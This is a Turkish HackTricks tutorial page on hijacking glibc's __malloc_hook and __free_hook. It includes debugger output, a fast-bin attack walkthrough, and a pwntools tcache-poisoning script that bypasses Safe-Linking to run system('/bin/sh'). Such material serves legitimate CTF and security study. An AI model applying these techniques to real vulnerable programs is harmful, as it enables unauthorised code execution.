136 lines
7.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}}
## **Malloc Hook**
Resmi GNU sitesinde belirttiği gibi, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **çağrılacak bir fonksiyonun adresine işaret eden** bir işaretçidir ve bu adres **libc kütüphanesinin veri bölümünde saklanır**. Bu nedenle, bu adres bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**.
Malloc'u çağırmak için programın bunu çağırmasını beklemek veya **`printf("%10000$c")`** çağrısı yaparak, `libc`'nin bunları yığın üzerinde tahsis etmesi için çok fazla byte tahsis etmek mümkündür.
One Gadget hakkında daha fazla bilgi için:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Hooks'un **GLIBC >= 2.34 için devre dışı olduğunu** unutmayın. Modern GLIBC sürümlerinde kullanılabilecek diğer teknikler vardır. Bakınız: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
Bu, sıralanmamış bir bin saldırısından sonra hızlı bir bin saldırısını kötüye kullanan sayfadaki örneklerden birinde kötüye kullanıldı:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
Binary'nin sembolleri varsa `__free_hook` adresini bulmak mümkündür:
```bash
gef➤ p &__free_hook
```
[Postta](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir kılavuz bulabilirsiniz. Özetle, free fonksiyonunda:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 <free>: push ebx
0xf75dedc1 <free+1>: call 0xf768f625
0xf75dedc6 <free+6>: add ebx,0x14323a
0xf75dedcc <free+12>: sub esp,0x8
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BURADA KIRIL
</strong>0xf75deddb <free+27>: test eax,eax ;<
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
</code></pre>
Yukarıdaki kodda belirtilen kırılma noktasında `$eax` içinde free hook'un adresi bulunacaktır.
Şimdi bir **fast bin saldırısı** gerçekleştiriliyor:
- Öncelikle, **`__free_hook`** konumunda **200 boyutunda hızlı **chunk'lar** ile çalışmanın mümkün olduğu keşfedildi:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Bu konumda 0x200 boyutunda bir hızlı chunk elde edebilirsek, çalıştırılacak bir fonksiyon işaretçisini yazmak mümkün olacaktır.
- Bunun için, `0xfc` boyutunda yeni bir chunk oluşturulur ve birleştirilmiş fonksiyon bu işaretçi ile iki kez çağrılır, bu şekilde hızlı bin içinde `0xfc*2 = 0x1f8` boyutunda serbest bırakılmış bir chunk'a işaret eden bir işaretçi elde edilir.
- Ardından, bu chunk içinde **`fd`** adresini önceki **`__free_hook`** fonksiyonuna işaret edecek şekilde değiştirmek için edit fonksiyonu çağrılır.
- Daha sonra, hızlı bin'den önceki işe yaramaz chunk'ı almak için `0x1f8` boyutunda bir chunk oluşturulur, böylece **`__free_hook`** içinde bir hızlı bin chunk'ı elde etmek için `0x1f8` boyutunda başka bir chunk oluşturulur ve bu, **`system`** fonksiyonunun adresi ile üzerine yazılır.
- Ve nihayet, `/bin/sh\x00` dizesini içeren bir chunk serbest bırakılır ve delete fonksiyonu çağrılır, bu da **`__free_hook`** fonksiyonunu tetikler ve `/bin/sh\x00` parametre olarak sistem fonksiyonuna işaret eder.
---
## Tcache zehirlenmesi & Güvenli Bağlama (glibc 2.32 2.33)
glibc 2.32, **Güvenli Bağlama**'yı tanıttı - **tcache** ve hızlı binler tarafından kullanılan *tek*-bağlı listeleri koruyan bir bütünlük kontrolü. Artık ham bir ileri işaretçi (`fd`) depolamak yerine, ptmalloc bunu aşağıdaki makro ile *şifreli* olarak depoluyor:
```c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
Sömürü için sonuçlar:
1. Bir **heap leak** zorunludur saldırgan, geçerli bir obfuscate edilmiş işaretçi oluşturmak için `chunk_addr >> 12` değerini bilmelidir.
2. Sadece *tam* 8 baytlık işaretçi sahte olarak oluşturulabilir; tek baytlık kısmi yazmalar kontrolü geçmeyecektir.
Dolayısıyla, glibc 2.32/2.33 üzerinde `__free_hook`'u yazan minimal bir tcache-poisoning primitive şöyle görünmektedir:
```py
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
```
Yukarıdaki kesit, *UIUCTF 2024 «Rusty Pointers»* ve *openECSC 2023 «Babyheap G»* gibi son CTF zorluklarından uyarlanmıştır; her ikisi de `__free_hook`'u yazmak için Safe-Linking bypass'larına dayanıyordu.
---
## glibc ≥ 2.34'te ne değişti?
**glibc 2.34 (Ağustos 2021)** ile birlikte, `__malloc_hook`, `__realloc_hook`, `__memalign_hook` ve `__free_hook` tahsis kancaları **kamusal API'den kaldırıldı ve artık tahsis edici tarafından çağrılmıyor**. Eski ikili dosyalar için uyumluluk sembolleri hala dışa aktarılmakta, ancak bunları yazmak artık `malloc()` veya `free()` kontrol akışını etkilemiyor.
Pratik sonuç: modern dağıtımlarda (Ubuntu 22.04+, Fedora 35+, Debian 12, vb.) *diğer* ele geçirme ilkelere (IO-FILE, `__run_exit_handlers`, vtable spraying, vb.) geçiş yapmalısınız çünkü kanca yazmaları sessizce başarısız olacaktır.
Hala hata ayıklama için eski davranışa ihtiyacınız varsa, glibc `libc_malloc_debug.so`'yu gönderir; bu, eski kancaları yeniden etkinleştirmek için önceden yüklenebilir ancak bu kütüphane **üretim için tasarlanmamıştır ve gelecekteki sürümlerde kaybolabilir**.
---
## Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking 20 yıllık bir malloc() istismar ilkesinin ortadan kaldırılması (Check Point Research, 2020)
- glibc 2.34 sürüm notları malloc kancalarının kaldırılması
{{#include ../../banners/hacktricks-training.md}}